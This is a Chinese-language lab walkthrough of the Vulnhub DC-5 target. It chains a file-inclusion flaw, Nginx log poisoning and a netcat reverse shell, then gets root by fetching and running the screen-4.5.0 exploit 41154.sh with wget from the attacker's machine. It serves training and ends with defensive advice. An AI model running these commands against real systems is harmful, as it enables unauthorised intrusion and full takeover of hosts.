vulnhub系列13—DC 5
字数 1286 2025-08-12 11:34:21
DC-5 靶场渗透测试教学文档
1. 靶场概述
DC-5 是 Vulnhub 上的一个渗透测试靶机,难度中等,主要考察文件包含漏洞利用和权限提升技术。本教学文档将详细讲解从信息收集到最终获取 root 权限的完整过程。
2. 环境准备
- 攻击机:Kali Linux
- 靶机:DC-5 (IP: 192.168.56.174)
- 工具:netdiscover, nmap, wfuzz, Burp Suite
3. 渗透测试过程
3.1 信息收集
3.1.1 网络发现
使用 netdiscover 扫描局域网内的主机:
netdiscover -r 192.168.56.0/24
3.1.2 端口和服务扫描
使用 nmap 进行详细扫描:
nmap -sV -Pn -sC -A 192.168.56.174
3.2 Web 应用测试
3.2.1 发现文件包含漏洞
访问目标 Web 服务(80端口),发现存在文件包含漏洞的 URL:
http://192.168.56.174/thankyou.php?firstname=qwde&lastname=asd&country=australia&subject=asd
3.2.2 参数模糊测试
使用 wfuzz 进行参数模糊测试:
wfuzz -u http://192.168.56.174/thankyou.php?FUZZ=/etc/passwd -w /usr/share/wfuzz/wordlist/general/big.txt --hl 42
发现 file 参数存在文件包含漏洞。
3.2.3 利用 Nginx 日志文件包含
由于目标是 Nginx 服务器,可以尝试包含 Nginx 的日志文件来写入 shell:
http://192.168.56.174/thankyou.php?file=/var/log/nginx/error.log
3.3 获取反弹 Shell
3.3.1 写入恶意代码
由于直接写入可能会被编码,可以使用 Burp Suite 拦截请求并修改,避免编码问题。
3.3.2 建立反弹 Shell
在 Kali 上监听:
nc -lvnp 4444
通过文件包含执行反弹 shell 命令。
3.3.3 稳定 Shell
获取初始 shell 后,升级为稳定 shell:
python -c "import pty;pty.spawn('/bin/bash');"
3.4 权限提升
3.4.1 查找 SUID 文件
查找具有 SUID 权限的文件:
find / -perm -u=s -type f 2>/dev/null
发现可利用的 screen-4.5.0 程序。
3.4.2 搜索和利用 EXP
搜索 screen-4.5.0 的漏洞利用:
searchsploit screen 4.5.0
找到相关 exploit (41154.sh)。
3.4.3 准备 exploit 文件
- 在 Kali 上启动 Python HTTP 服务:
python3 -m http.server 8000
- 在靶机上下载 exploit:
wget http://<kali_ip>:8000/41154.sh
- 赋予执行权限并运行:
chmod 777 41154.sh
./41154.sh
3.4.4 获取 root 权限
exploit 执行后会生成 rootshell 文件,运行即可获得 root 权限:
./rootshell
4. 关键点总结
- 文件包含漏洞发现:通过参数模糊测试发现
file参数存在文件包含漏洞 - 日志文件利用:利用 Nginx 日志文件包含实现代码执行
- 反弹 Shell 技巧:注意编码问题,使用 Burp Suite 进行请求修改
- 权限提升方法:通过 screen-4.5.0 的 SUID 漏洞获取 root 权限
- Exploit 利用:正确准备和运行 exploit 文件是提权的关键
5. 防御建议
- 修复文件包含漏洞,限制文件包含路径
- 及时更新存在漏洞的软件(如 screen)
- 合理设置文件权限,避免不必要的 SUID 权限
- 配置 Web 服务器日志文件的访问权限
- 实施输入验证和过滤
6. 参考资源
- Vulnhub DC-5 下载页面
- Exploit Database (41154.sh)
- Nginx 安全配置指南
- Linux 权限管理最佳实践